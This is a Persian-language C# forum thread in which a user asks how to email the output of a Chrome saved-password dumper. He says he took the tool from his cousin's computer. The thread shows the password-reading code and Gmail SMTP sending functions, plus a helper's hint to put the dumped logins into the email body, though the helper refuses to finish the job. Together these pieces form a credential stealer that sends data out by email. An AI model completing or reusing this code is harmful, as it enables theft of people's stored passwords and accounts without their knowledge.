PDA

View Full Version : ارسال ایمیل با کنسول



barnamenevisjavan
سه شنبه 17 دی 1392, 14:38 عصر
سلام من با کد زیر با کنسول ایمیل میفرستم
MailMessage mail = new MailMessage();
SmtpClient smtpC = new SmtpClient("smtp.gmail.com");
//From address to send email
mail.From = new MailAddress("mahdidvb72@gmail.com");
//To address to send email
mail.To.Add("hellas2012@yahoo.com");
mail.Body = "Test"();
mail.Subject = "TEST";
smtpC.Port = 587;
//Credentials for From address
smtpC.Credentials = new System.Net.NetworkCredential("mahdidvb72@gmail.com", "XXXXXX");
smtpC.EnableSsl = true;
smtpC.Send(mail);
Console.WriteLine("Message sent successfully");
Console.ReadLine();

مشکل من اینه میخوام Budy محتوای نوشته های Console باشه

کامبیز اسدزاده
سه شنبه 17 دی 1392, 14:59 عصر
خب body رو برابر ReadLine قرار بده

barnamenevisjavan
سه شنبه 17 دی 1392, 15:01 عصر
به Read Line خطا میگیره

کامبیز اسدزاده
سه شنبه 17 دی 1392, 15:03 عصر
به Read Line خطا میگیره

شما این کد رو در یک تابع قرار بده و قبلش موارد لازم رو توسط کنسول بگیر و بعد تابع body و ... رو که گرفت کارشو انجام میده.

کامبیز اسدزاده
سه شنبه 17 دی 1392, 15:04 عصر
منظورم این کد هست :



MailMessage mail = new MailMessage();
SmtpClient smtpC = new SmtpClient("smtp.gmail.com");
//From address to send email
mail.From = new MailAddress("mahdidvb72@gmail.com");
//To address to send email
mail.To.Add("hellas2012@yahoo.com");
mail.Body = "Test"();
mail.Subject = "TEST";
smtpC.Port = 587;
//Credentials for From address
smtpC.Credentials = new System.Net.NetworkCredential("mahdidvb72@gmail.com ", "XXXXXX");
smtpC.EnableSsl = true;
smtpC.Send(mail);
Console.WriteLine("Message sent successfully");
Console.ReadLine();


اینو به صورت تابع بنویس و قبل اجرا از طریق کنسول اطلاعات رو واردش کن.

barnamenevisjavan
سه شنبه 17 دی 1392, 15:18 عصر
کار نمیکنه دوست عزیز ایمیل خالی میادش

کامبیز اسدزاده
سه شنبه 17 دی 1392, 15:33 عصر
خدمت شما :


public static void mymail(string body)
{

MailMessage mail = new MailMessage();
SmtpClient smtpC = new SmtpClient("smtp.gmail.com");
//From address to send email
mail.From = new MailAddress("yourmail@gmail.com");
//To address to send email
mail.To.Add("yourmail@gmail.com");
mail.Body = body;
mail.Subject = "TEST";
smtpC.Port = 587;
//Credentials for From address
smtpC.Credentials = new System.Net.NetworkCredential("yourmail@gmail.com ", "XXXXX");
smtpC.EnableSsl = true;
smtpC.Send(mail);
Console.WriteLine("Message sent successfully");
Console.ReadLine();
}
static void Main(string[] args)
{
string a;

a = Convert.ToString(Console.ReadLine());

mymail(a);

}

barnamenevisjavan
سه شنبه 17 دی 1392, 15:57 عصر
ممنون ولی ایمیل خالی میادش

کامبیز اسدزاده
سه شنبه 17 دی 1392, 15:59 عصر
ممنون ولی ایمیل خالی میادش

من خودم تستش کردم و همه چیز درسته :) البته از Gmail استفاده کردم.

barnamenevisjavan
سه شنبه 17 دی 1392, 16:02 عصر
ببینید این کدهای Program.cs هستش برا من جواب نمیده
public override void RunProgram(string[] args)
{
Console.ForegroundColor = ConsoleColor.Green;
CommandLineParser parser = new CommandLineParser(args);
if (parser.HasSwitch(Switches.Help))
{
DisplayUsage();
return;
}

string dataFile = parser.GetSwitchValue(Switches.File);
if (dataFile == null)
dataFile = LoginReader.GetDefaultChromePasswordFile();

if (!File.Exists(dataFile))
{
DisplayFriendlyError("File does not exist: {0}", dataFile);
return;
}

// Copy the file to the temp dir. In most cases, this will let us run the LoginReader even if Chrome is running.
string filename = Path.GetTempFileName();
File.Copy(dataFile, filename, true);
try
{
LoginReader reader = new LoginReader(filename);
var logins = reader.GetLogins(parser.Arguments.FirstOrDefault() )
.Where(l => !String.IsNullOrEmpty(l.UserName));
var dumpFile = parser.GetSwitchValue(Switches.Dump);
if (!String.IsNullOrEmpty(dumpFile))
WriteAsXml(dumpFile, logins);
else
WriteToConsole(logins);
Console.WriteLine();
}
catch
{
// Delete the temp file to be a good citizen :-)
try
{
File.Delete(filename);
}
catch (Exception) { }
throw;
}

string a;
a = Convert.ToString(Console.ReadLine());
mail(a);
Console.ReadKey();

}

کامبیز اسدزاده
سه شنبه 17 دی 1392, 16:09 عصر
این کله کدیه که من نوشتم در Program.cs


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Mail;

namespace ConsoleApplication4
{
class Program
{


public static void mymail(string body)
{

MailMessage mail = new MailMessage();
SmtpClient smtpC = new SmtpClient("smtp.gmail.com");
//From address to send email
mail.From = new MailAddress("yourmail@gmail.com");
//To address to send email
mail.To.Add("yourmail@gmail.com");
mail.Body = body;
mail.Subject = "TEST";
smtpC.Port = 587;
//Credentials for From address
smtpC.Credentials = new System.Net.NetworkCredential("yourmail@gmail.com ", "XXXX");
smtpC.EnableSsl = true;
smtpC.Send(mail);
Console.WriteLine("Message sent successfully");
Console.ReadLine();
}
static void Main(string[] args)
{
string a;

a = Convert.ToString(Console.ReadLine());

mymail(a);

}
}
}



اگه حل نشد پروژهرو بذارید تا ببینم چشه.

barnamenevisjavan
سه شنبه 17 دی 1392, 16:14 عصر
حل نشده پروژه هم نمیتونم شیر کنم خیلی مهمه
ببینید یکسری اطلاعات گروه بندی شده در کنسول نمایش داده میشه
این کد
WriteToConsole(logins);
این اطلاعات رو نمایش میده تو کنسول من نیاز دارم تا این متون ایمیل بشه یا اگه میشه خروجی متنی بهم بده

کامبیز اسدزاده
سه شنبه 17 دی 1392, 16:22 عصر
حل نشده پروژه هم نمیتونم شیر کنم خیلی مهمه
ببینید یکسری اطلاعات گروه بندی شده در کنسول نمایش داده میشه
این کد
WriteToConsole(logins);
این اطلاعات رو نمایش میده تو کنسول من نیاز دارم تا این متون ایمیل بشه یا اگه میشه خروجی متنی بهم بده

والا من با همین کد به ایمیل یاهو و جمیلم ارسال کردم مثل توپ کار میکنه !!! دلیلی نمیبینم که کار نکنه سعی کنید کد هاتون رو دقیق بررسی کنید یه جایی یه ایرادی داره حتما !
کدی هم که من دادم رو یه پروژه جدید باز کنید تست کنید همه چیز درسته.

barnamenevisjavan
سه شنبه 17 دی 1392, 16:24 عصر
روش کار میکنم باز

کامبیز اسدزاده
سه شنبه 17 دی 1392, 16:26 عصر
روش کار میکنم باز

البته من تو نسخه 2013 VS اینو زدم ! شما نسخه چند زدی کدتو ؟

barnamenevisjavan
سه شنبه 17 دی 1392, 16:35 عصر
2010 زدم.
پروژه رو براتون پ.خ کردم ببینید میتونید درستش کنید؟

کامبیز اسدزاده
سه شنبه 17 دی 1392, 16:39 عصر
2010 زدم.
پروژه رو براتون پ.خ کردم ببینید میتونید درستش کنید؟

لطفا صبر کنید.

کامبیز اسدزاده
سه شنبه 17 دی 1392, 17:13 عصر
خب عرضم خدمت شما که پروژه شما مشکلی نداره بدون اینکه چیزی رو دستکاری کنم در سیستم من جواب میدهد.

اینم تصاویر برای اثبات عملکرد برنامه...
فقط یه توصیه... امیدوارم از این برنامه ای که نوشتی در راه درست ازش استفاده کنید !!! :لبخندساده:

barnamenevisjavan
سه شنبه 17 دی 1392, 18:59 عصر
خب عرضم خدمت شما که پروژه شما مشکلی نداره بدون اینکه چیزی رو دستکاری کنم در سیستم من جواب میدهد.

اینم تصاویر برای اثبات عملکرد برنامه...
فقط یه توصیه... امیدوارم از این برنامه ای که نوشتی در راه درست ازش استفاده کنید !!! :لبخندساده:

ممنون فقط اون اطلاعات ایمیل میشه؟
هدف من دریافت اون اطلاعات در ایمیل هستش

کامبیز اسدزاده
سه شنبه 17 دی 1392, 19:05 عصر
ممنون فقط اون اطلاعات ایمیل میشه؟
هدف من دریافت اون اطلاعات در ایمیل هستش

اگر منظورتون همون اطلاعاتی هست که میکشه بیرون و تو کنسول نشون میده بله میشود ! :)
فقط باید مثل Body تو تابع فراخوانیشون کنید.

ولی سعی کنید این عملیات رو در یک dll دیگه ای نگه دارید مستقیم روی فایل اصلی نریزید.
از Thread هم استفاده کنید تا بهبود پیدا کنه.

omid nasri
سه شنبه 17 دی 1392, 19:11 عصر
یک نمونه دیگه !!!


string subject = "";
string body = "";
string to = "";
Console.WriteLine("type email for send : >> ");
to = Console.ReadLine();
Console.WriteLine("subject : >> ");
subject = Console.ReadLine();
Console.WriteLine("body >> ");
body = Console.ReadLine();
MailMessage message = new MailMessage("gmail", to,subject,body);
SmtpClient client = new SmtpClient("smtp.gmail.com");
client.Port = 587;
NetworkCredential cred = new NetworkCredential("gmail.com", "pass");
client.Credentials = cred;
client.EnableSsl = true;
client.Send(message);
Console.WriteLine("Send message succesfully ");
Console.ReadKey();

barnamenevisjavan
سه شنبه 17 دی 1392, 19:37 عصر
مثل اینکه با من لج کرده که نشه!!
ایمیل فقط خالی ارسال میشه
why.darkness
میتونی پروژه که دادم بهت رو کامل کنی بهم ارسال کنی؟فقط میخوام قابلیت ارسال اون اطلاعات به ایمیل باشه.

کامبیز اسدزاده
سه شنبه 17 دی 1392, 19:52 عصر
مثل اینکه با من لج کرده که نشه!!
ایمیل فقط خالی ارسال میشه
why.darkness
میتونی پروژه که دادم بهت رو کامل کنی بهم ارسال کنی؟فقط میخوام قابلیت ارسال اون اطلاعات به ایمیل باشه.

:لبخند: سعی کن تو میتونی ! من انجامش نمیدم چون نمیخوام شریک این برنامه باشم.
یه راهنمایی میکنم : همونطور که اطلاعات رو تو کنسول نشون میدی ... منظورم همون اطلاعات اسرار آمیزه شخصیه ! اونارو مستقیم بریز تو تابع در متغیر body.

barnamenevisjavan
سه شنبه 17 دی 1392, 20:02 عصر
:لبخند: سعی کن تو میتونی ! من انجامش نمیدم چون نمیخوام شریک این برنامه باشم.
یه راهنمایی میکنم : همونطور که اطلاعات رو تو کنسول نشون میدی ... منظورم همون اطلاعات اسرار آمیزه شخصیه ! اونارو مستقیم بریز تو تابع در متغیر body.
آقا جان عزیزت عذیت نکن دیگه شما شریک نیستی منم اهداف پلیدی ندارم که:لبخند:

کامبیز اسدزاده
سه شنبه 17 دی 1392, 20:09 عصر
آقا جان عزیزت عذیت نکن دیگه شما شریک نیستی منم اهداف پلیدی ندارم که:لبخند:

چیزی نیست ک ! اون کدهایی که من دیدم اگه خودت نوشته باشی این مشکل رو هم حتما رفع میکنی.
خیلی راحت میتونی با ارسال خروجی بجای کنسول اونارو برابر کنی با body دیگه از این ساده تر !؟
راستش میخواستم بنویسم بدم ولی وقتی پروفایلتو دیدم که زدی هک / Crack منصرف شدم !

barnamenevisjavan
سه شنبه 17 دی 1392, 20:19 عصر
چیزی نیست ک ! اون کدهایی که من دیدم اگه خودت نوشته باشی این مشکل رو هم حتما رفع میکنی.
خیلی راحت میتونی با ارسال خروجی بجای کنسول اونارو برابر کنی با body دیگه از این ساده تر !؟
راستش میخواستم بنویسم بدم ولی وقتی پروفایلتو دیدم که زدی هک / Crack منصرف شدم !
کدارو خودم نزدم
علاقه به هک و کرک دارم ولی هکر و کرکر نیستم که!!:اشتباه:
بهونه میاریا :لبخند:
من سی شارپ کار نیستم کنسول هم کار نکردم تا حالا:ناراحت:
حاجی من که پروژه رو به شما دادم حالا شما یه کم زحمت نمیدی کدو اصلاح کنی واسمون؟

کامبیز اسدزاده
سه شنبه 17 دی 1392, 20:22 عصر
کدارو خودم نزدم
علاقه به هک و کرک دارم ولی هکر و کرکر نیستم که!!:اشتباه:
بهونه میاریا :لبخند:
من سی شارپ کار نیستم کنسول هم کار نکردم تا حالا:ناراحت:
حاجی من که پروژه رو به شما دادم حالا شما یه کم زحمت نمیدی کدو اصلاح کنی واسمون؟

چشمم روشن !!! حالا از کجا گیر آوردی اینو !!! من عذاب وجدان میکشم واالله ! فردا یکی بدبخت شه شب بیاد تو خوابمون :))

barnamenevisjavan
سه شنبه 17 دی 1392, 20:26 عصر
چشمم روشن !!! حالا از کجا گیر آوردی اینو !!! من عذاب وجدان میکشم واالله ! فردا یکی بدبخت شه شب بیاد تو خوابمون :))

از سیستم پسرخالم کش رفتم :لبخند:
برنامه نویس خوبیه ولی یکم خود خاهه اصن چیزی بروز نمیده
نگران نباش سیستم خودمو میخوام مدیریت کنم
از سیستم من زیاد استفاده میشه
دیگه شده کافی نت:عصبانی:
قول میدم عمومی نشه

barnamenevisjavan
سه شنبه 17 دی 1392, 20:50 عصر
خلاصه دوست عزیز اگه لطف کردی درستش کردی برام پ.خ بکنش
نمیدونم این همه بازخواست دیگه برای چیه:اشتباه:

کامبیز اسدزاده
سه شنبه 17 دی 1392, 20:51 عصر
از سیستم پسرخالم کش رفتم :لبخند:
برنامه نویس خوبیه ولی یکم خود خاهه اصن چیزی بروز نمیده
نگران نباش سیستم خودمو میخوام مدیریت کنم
از سیستم من زیاد استفاده میشه
دیگه شده کافی نت:عصبانی:
قول میدم عمومی نشه

خوشم میاد قشنگ اعتراف میکنی :))))
همونطور که گفتم باید مقادیر خروجی رو برابر body کنی به همین راحتی... سعی کن میتونی :چشمک: منهم مثل اکثر اساتید این انجمن ها مخالف کپی پست کردن و تحویل دادن کد هستم پس در نتیجه طبق راهنمایی هام سعی کن حلش کنی اگر هم طبق گفته های خودت برنامه نویس نیستی بهتره بیخیالش بشی ! چون باید بتونی قبل اینکه ازش استفاده کنی خط به خط کد هارو تحلیل کنی تا بتونی توسعش بدی.

موفق باشی.

barnamenevisjavan
سه شنبه 17 دی 1392, 20:53 عصر
خوشم میاد قشنگ اعتراف میکنی :))))
همونطور که گفتم باید مقادیر خروجی رو برابر body کنی به همین راحتی... سعی کن میتونی :چشمک: منهم مثل اکثر اساتید این انجمن ها مخالف کپی پست کردن و تحویل دادن کد هستم پس در نتیجه طبق راهنمایی هام سعی کن حلش کنی اگر هم طبق گفته های خودت برنامه نویس نیستی بهتره بیخیالش بشی ! چون باید بتونی قبل اینکه ازش استفاده کنی خط به خط کد هارو تحلیل کنی تا بتونی توسعش بدی.

موفق باشی.

اوکی پس لطفا اون پروژه رو از سیستمت پاک کن اگر معتقد به کپی پیست نیستی!!!
بلاخره پسرخالم براش زحمت کشیده درست نیست دست کسی باشه!